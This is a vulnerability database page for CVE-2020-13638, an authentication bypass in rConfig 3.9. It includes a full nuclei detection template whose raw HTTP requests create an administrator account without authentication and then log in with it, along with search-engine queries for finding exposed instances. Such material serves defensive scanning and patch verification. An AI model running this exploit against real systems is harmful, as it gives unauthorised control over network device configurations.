HexBrain

Browse / CVEs / CVE-2020-13638

CVE-2020-13638· rconfig / rconfig· CWE-269

rConfig 3.9 - Authentication Bypass(Admin Login)

criticalseverity
9.8CVSS score
76.9%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

lib/crud/userprocess.php in rConfig 3.9.x before 3.9.7 has an authentication bypass, leading to administrator account creation. This issue has been fixed in 3.9.7.

Impact

Unauthenticated attackers can bypass authentication to create administrator accounts, leading to complete control over the rConfig installation and access to all network device configurations.

Fix

Upgrade to rConfig version 3.9.7 or later.

How to confirm it

Send: POST /lib/crud/userprocess.php ; GET /login.php
Positive when: contains in body_3 "rConfig - Configuration Management" and "Logged in as" and "dashboadFieldSet" AND contains in header_3 "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-13638 -u <target>

The full check
id: CVE-2020-13638

info:
  name: rConfig 3.9 - Authentication Bypass(Admin Login)
  author: theamanrawat
  severity: critical
  description: |
    lib/crud/userprocess.php in rConfig 3.9.x before 3.9.7 has an authentication bypass, leading to administrator account creation. This issue has been fixed in 3.9.7.
  impact: |
    Unauthenticated attackers can bypass authentication to create administrator accounts, leading to complete control over the rConfig installation and access to all network device configurations.
  remediation: |
    Upgrade to rConfig version 3.9.7 or later.
  reference:
    - https://www.rconfig.com/downloads/rconfig-3.9.4.zip
    - https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13638
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-13638
    cwe-id: CWE-269
    epss-score: 0.76853
    epss-percentile: 0.99552
    cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rconfig
    product: rconfig
    shodan-query:
      - http.title:"rConfig"
      - http.title:"rconfig"
    fofa-query: title="rconfig"
    google-query: intitle:"rconfig"
  tags: cve,cve2020,rconfig,auth-bypass,intrusive,vkev,vuln
variables:
  username: "{{to_lower(rand_text_alpha(5))}}"
  password: "{{rand_text_alphanumeric(12)}}!"
  email: "{{rand_base(8)}}@{{rand_base(5)}}.com"

http:
  - raw:
      - |
        POST /lib/crud/userprocess.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=01b28e152ee044338224bf647275f8eb

        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="username"

        {{username}}
        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="passconf"

        {{password}}
        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="password"

        {{password}}
        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="email"

        {{email}}
        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="editid"


        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="add"

        add
        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="ulevelid"

        9
        --01b28e152ee044338224bf647275f8eb--
      - |
        GET /login.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /lib/crud/userprocess.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&pass={{password}}&sublogin=1

    host-redirects: true

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - "rConfig - Configuration Management"
          - "Logged in as"
          - "dashboadFieldSet"
        condition: and

      - type: word
        part: header_3
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from